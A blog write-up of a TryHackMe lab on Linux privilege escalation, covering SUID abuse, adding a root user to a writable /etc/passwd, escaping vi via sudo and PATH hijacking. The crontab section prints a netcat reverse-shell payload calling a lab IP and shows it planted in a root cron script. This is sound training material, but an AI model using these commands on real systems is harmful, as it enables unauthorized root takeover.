[TryHackMe] Common Linux Privesc

Tanseejou
17 min readJan 17, 2023

--

Linux Privilege Escalation is a cybersecurity attack technique that allows threat actor to escalate from lower permission to higher permission in the Linux system

Hello world! Welcome back to my TryHackMe write-up. Today, we will start our adventure in the Common Linux PrivEsc room, which is a room that explains the common Linux privilege escalation ways. The first part of the room is focusing on the concept and theory of privilege escalation, while the second part covers the common privilege escalation techniques. This room is a subscription room, meaning that only subscribers can access it, however, it's definitely worth subscribing to!

🏮 Understanding Privilege Escalation

Privilege escalation is a cybersecurity attack technique that allows threat actors to escalate from lower permission to higher permission. It is the exploitation of a vulnerability, design flaws or configuration oversight in an operating system or application that enables the threat actor to gain unauthorized access to resources that are usually restricted.

In most cases, the first point of penetration will only grant the threat actor limited permission. Then, the threat actor will perform enumeration to discover the ways that allow them to elevate access to become higher privilege users (eg: root) in order to gain more permission (or even compromise the whole system) and access to more sensitive data. Once they become the root user, they will have ultimate control over the entire system.

There are two main types of privilege escalation:
[1] Horizontal Privilege Escalation
→ taking over a different user with the same privilege level
→ in the same level, different users might have different access to different files and actions, thus, horizontal privesc allows the threat actor to expand their access
[2] Vertical Privilege Escalation
-> taking over a different user with a higher privilege level, usually is the administrator or root

🏮 Enumeration

After the first point of penetration, the threat actors will perform enumeration to discover all the possible ways that allow them to elevate access.

Below are the common commands that will be used during the enumeration phase (the table is getting from this blog):

Tools that assist in the enumeration phase: LinEnum

LinEnum

→ a simple bash script that performs common commands related to privilege escalation
→ help to discover privilege escalation methods or misconfiguration
→ to download a local copy of LinEnum from GitHub: wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh (note that when using wget to download, we need to get the raw file)

To get LinEnum on the target machine:

👲 Method 1
i. go to the directory where we have our local copy of LinEnum stored in our local machine.
ii. start a Python web server using python3 -m http.server [port_number]
iii. use wget on the target machine, and our local machine IP address, to grab the file from our local machine wget [local_machine_ip:port_number]/LinEnum.sh
iv. then, make the file executable using the command chmod +x LinEnum.sh

👲 Method 2
i. (if have sufficient permission) copy the raw LinEnum code from our local machine, and paste it into a new file on the target machine using Vi or Nano
ii. save this file with .sh extension
iii. make this file executable using the command chmod +x filename.sh
** to run the LinEnum file, go to the directory, and run ./LinEnum.sh

Understanding LinEnum Output

the main sections that we will focus on:
🍊 Kernel → kernel information is shown here. Kernel exploits available for this machine
🍊 can we read/write sensitive files → The files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn’t usually be able to, to be able to write to sensitive files.
🍊 SUID files → output of SUID files is shown here. There are a few interesting items that we will definitely look into as a way to escalate privileges. SUID [set owner user ID upon execution] is a special type of file permission given to a file. It allows the file to run with the permission of whoever the owner is. If it is the root, then it runs with root permissions. It can allow us to escalate privilege.
🍊 Crontab Contents → The scheduled cron jobs are shown below. Cron is used to scheduling commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here.

Practice:

(please note the change of the target machine and my own local machine IP address as I didn’t complete all the tasks at once, everytime I deploy the machine the IP change)
First, lets SSH into the target machine, using the credentials user3:password This is to simulate getting a foothold on the system as a normal privileged user.
ssh [username]@[target_machine_ip_address]

on the local machine, download the LinEnum.sh , and host a server:

on the target machine, use wget to download the LinEnum.sh from the server that we just hosted. Change the mode of the file to executable, and run the file (to output the result of the LinEnum.sh to a file ./LinEnum.sh > outputFile.txt ):

i. What is the target’s hostname?

ii. Look at the output of /etc/passwd how many “user[x]” are there on the system?
cat /etc/passwd

iii. How many available shells are there on the system?
cat /etc/shells

iv. What is the name of the bash script that is set to run every 5 minutes by cron?

v. What critical file has had its permissions changed to allow some users to write to it?
/etc/passwd

🏮 Abusing SUID/GUID Files

The first step in Linux Privsec → check for files with SUID /GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner group. (for detailed explanation: here)

In Linux, everything is a file (including directories, and devices), and all have permissions to allow or restrict the operations.

When we set permission for any file, we should be aware of the Linux users to whom we allow or restrict all three permissions.

There are two main ways of assigning permission:
[1] Symbolic method
chmod WhoWhatWhich file/dir
🍊who → represents identities: u [user] , g [group] , o [other] , a [all]
🍊what → represents actions: + [add] , - [remove] , = [set exact]
🍊which → represents access level: r [read] , w [write] , x [execute]
eg: add the read and write permissions to a file name test.txt for user and group: chmod -ug+rw test.txt

[2] Numeric method
chmod ### file/dir
# is the access level
🍊 read [ r ] = 4
🍊 write [ w ] = 2
🍊 execute [ x ] =1

The maximum number of bits that can be set permission for each user is 7 [read(4) + write(2) + execute(1)].
eg: set permission using chmod 755 === rwx-r-xr-x

Special Permission-SUID, SGID

SUID
→ a file with SUID always execute as the user who owns the file, regardless of the user passing the command. Meaning, that if userA run a fileA (own by root user) that have SUID bit, that file will be run as root user.
rws-rwx-rwx

SGID
→ a file with SGID will be executed as the group that owns the file
→ if set on a directory, any files created in the directory will have their group ownership set to that of the directory owner
rwx-rws-rwx

To set the special permission S:
[1] Symbolic method
chmod g+s file/dir
chmod u+s file/dir

[2] Numeric method
we need to pass a fourth. preceding digit in the chmod command:
chmod S### file/dir
S is the special permission digit
🍊 did not set = 0
🍊 SUID = 4
🍊 SGID = 2
🍊 sticky =1
eg: set SGID on fileA: chmod 2770 fileA

Come back to our main point, in order to check for file with SUID bit set, we can use the following command:

find / -type f -perm -u=s 2>/dev/null
find → initiates the find command
/ → searches the whole file system
-type f → only search for files
-perm → searches for files with specific permissions
-u=s → any of the permission bits mode are set for the file. Symbolic modes are accepted in this form
2>/dev/null → the 2 is the stderr(standard error stream) ; the /dev/null in Linux is a null device file. This will discard anything written to it, and will return EOF on reading. It is like a black hole, it sucks anything thrown to it. So, 2>/dev/null means that redirect the error output from this command to /dev/null, meaning that just get rid of thr error messages.

Practice:

i. What is the path of the file in user3’s directory that stands out to you?
find / -perm -u=s -type f 2>/dev/null

ii. We know that “shell” is an SUID bit file, therefore running it will run the script as a root user! Lets run it! We can do this by running: “./shell”
cd user3
ls -la
./shell

🏮 Exploiting Writeable /etc/passwd

Understanding /etc/passwd /etc/passwd

→ stores essential information, which is required during login.
→ Meaning that, it stores user account information.
→ It is a plain text file.
→ It contain a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.
→ have general read permissions as many command utilities use it to map userIDs to user names.
→ BUT, write access to this /etc/passwd should ONLY limit for the SUPERUSER/ROOT account.

/etc/passwd format::

→ contain one entry per line for each user (user account) of the system.
→ all fields separate by a colon, total 7 fields
test:x:0:0:root:/root:/bin/bash
1. Username: used when user logs in. between 1–32 character in length
2. Password: an x character indicate that encrypted password is stored in /etc/shadow file. Need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file.
3. User ID [UID]: each user must be assigned a user ID. UID 0 is reserved for root, and UIDs 1–99 are reserved for other predefined accounts. Futher 100–999 are reserved by system for administrative and system accounts/groups
4. Group ID [GID]: the primary group ID (stored in etc/group file)
5. User ID Info: comment field. It allow us to add extra information about the users such as user’s full name, phone number etc.
6. Home Directory: the absolute path to the directory the user will be in when they log in. If this directory does not exist, then users directory becomes /
7. Command/Shell: the absolute path of a command or shell. Typically, this is a shell. Please note that it does not have to be a shell.

To exploit a writable /etc/passwd::

If we have a writable /etc/passwd file. . .
🍊 then we can write a newline entry according to the above formula and create a new user! We add the password hash of our choise, and set the UID, GID, and shell to root. This will allows us to log in as our own root user!

Practice:

i. First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user7, with the password “password”
su user7

ii. Having read the information above, what direction privilege escalation is this attack? → vertical

iii. Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: “openssl passwd -1 -salt [salt] [password]” What is the hash created by using this command with the salt, “new” and the password “123”?
openssl passwd -1 -salt new 123

iv. Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username “new” and the password hash we created before?
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

v. Great! Now you’ve got everything you need. Just add that entry to the end of the /etc/passwd file!
nano /etc/passwd
→ add the entry and save

vi. Now, use “su” to login as the “new” account, and then enter the password. If you’ve done everything correctly- you should be greeted by a root prompt! Congratulations!
su new
→ key in password 123

🏮 Escaping Vi Editor

Once we access to an account, we should use sudo -l to list what command we’re able to use as a superuser on that account. Sometimes, we will be able to run certain commands as a root user without the root password, which will allows us to escalate privileges.

Escaping Vi

— — — About VI — — —
Vi is a most popular and classic text editor in the Linux family. VIM [Vi Improved] is the advanced version of VI.

Vi have 2 main operation modes:
🧧 Command Mode
→ this mode enable us to perform administrative tasks such as saving files, executing commands and so on
→ in this mode, it only understands command.
→ commands are case sensitive.
→ can move the cursor, cut, copy, paste text
→ to exit the editor and save changes (need to be in this mode)
[shift] + [zz] : save file and quit
[:w] : save file but keep it open
[:q!] : quite vi and DO NOT save changes
[:wq] : save and quit

🧧 Insert Mode
→ this mode is for inserting text in the file
→ to switch from Command_mode to Insert_mode → [ i ] key
→ to go back to Command_mode + save changes → press [ esc ] key

To run LINUX command within Vi/VIM editor
→ make sure is in the Command_mode
[:!<LINUX-command>]
→ eg : !ifconfig

We can start a UNIX shell within the editor using this command:
syntax [:<shell>]
example :!sh
** the type of shell that is started is determined by the $SHELL variable.
** to return back to editor, press [ctrl + D]

Practice:

i. First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user8, with the password “password”
exit
su user8
→ key in password
password

ii. Let’s use the “sudo -l” command, what does this user require (or not require) to run vi as root?
sudo -l

iii. So, all we need to do is open vi as root, by typing “sudo vi” into the terminal.
sudo vi

iv. Now, type “:!sh” to open a shell!
:!sh

🏮 Exploiting Crontab

What is Cron?

Cron daemon::
→ a long-running process that executes commands at specific dates and times.
→ can use this to schedule activities, either as one-time events or as recurring tasks.
→ we can create crontab files containing commands and instructions for the Cron daemon to execute

To view what Cronjobs are active ::
cat /etc/crontab
→ This is something we should always check manually whenever we get a chance, especially if LinEnum, or a similar script, doesn’t find anything.

Format of a Cronjob ::
# = ID
m = minute
h = hour
dom = day of month
mon = month
dow = day of week
user = what user the command will run as
command = what command should be run
example:-
# m h dom mon dow user command
17 * 1 * * * root cd / && run-parts — report /etc/cron.hourly

How to exploit it ?
🧧we can try to find a cronjob that is owned by root (it will run with root privileges), then create command that will return a shell and paste this command in this file (provided that we able to write to this file). Then, when this file is run, the shell will be running as root

Practice:

i. First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user4, with the password “password”
su user4

ii. Now, on our host machine- let’s create a payload for our cron exploit using msfvenom.

iii. What is the flag to specify a payload in msfvenom? → -p

iv. Create a payload using: “msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R”
→payload: mkfifo /tmp/rzfwbwt; nc 10.10.108.66 8888 0</tmp/rzfwbwt | /bin/sh >/tmp/rzfwbwt 2>&1; rm /tmp/rzfwbwt

v. What directory is the “autoscript.sh” under?

vi. Lets replace the contents of the file with our payload using: “echo [MSFVENOM OUTPUT] > autoscript.sh
echo "mkfifo /tmp/rzfwbwt; nc 10.10.108.66 8888 0</tmp/rzfwbwt | /bin/sh >/tmp/rzfwbwt 2>&1; rm /tmp/rzfwbwt" > autoscript.sh
→ remember to put double around the payload

vii. After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: “nc -lvnp 8888” and wait for our shell to land!
nc -lvnp 8888

viii. After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!

🏮 Exploiting PATH Variable

What is PATH ?
PATH
→ an environmental variable in Linux and Unix-like OS which specifies directories that hold executable programs.
→ when user runs any commands in the terminal, it searches for the executable files with the help of the PATH variable in response to commands executed by a user
echo $PATH to view the PATH of the relevant user

How to use PATH to escalate privileges ?
Let’s say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with “ps”. Unlike in our previous SUID example, in this situation we can’t exploit it by supplying an argument for command injection, so what can we do to try and exploit this?

🧧 We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we’ve written instead! As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!

Practice:

i. Going back to our local ssh session, not the netcat root session, you can close that now, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user5, with the password “password”
su user5

ii. Let’s go to user5’s home directory, and run the file “script”. What command do we think that it’s executing?
./script
→ ls

iii. Now we know what command to imitate, let’s change directory to “tmp”.
cd /tmp

iv. Now we’re inside tmp, let’s create an imitation executable. The format for what we want to do is: echo “[whatever command we want to run]” > [name of the executable we’re imitating] What would the command look like to open a bash shell, writing to a file with the name of the executable we’re imitating
echo "/bin/bash" > ls

v. Great! Now we’ve made our imitation, we need to make it an executable. What command do we execute to do this?
chmod +x ls

vi. Now, we need to change the PATH variable, so that it points to the directory where we have our imitation “ls” stored!
We do this using the command “export PATH=/tmp:$PATH” Note, this will cause you to open a bash prompt every time you use “ls”. If you need to use “ls” before you finish the exploit, use “/bin/ls” where the real “ls” executable is. Once you’ve finished the exploit, you can exit out of root and use “export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH” to reset the PATH variable back to default, letting you use “ls” again!
export PATH=/tmp:$PATH

vii. Now, change directory back to user5’s home directory.

viii. Now, run the “script” file again, you should be sent into a root bash prompt! Congratulations!
./script

I think that’s it for the walkthrough of this Privesc room. Thank you for taking time to go through with me. In the next post, we will explore the Linux Privesc room and earn a badge together!

Wherever you go, may success and good fortune always be with you. Happy Chinese New Year! 🐇 🐇 🐇 See you =)

--

--

Tanseejou

cybersecurity enthusiast | cybersecurity researcher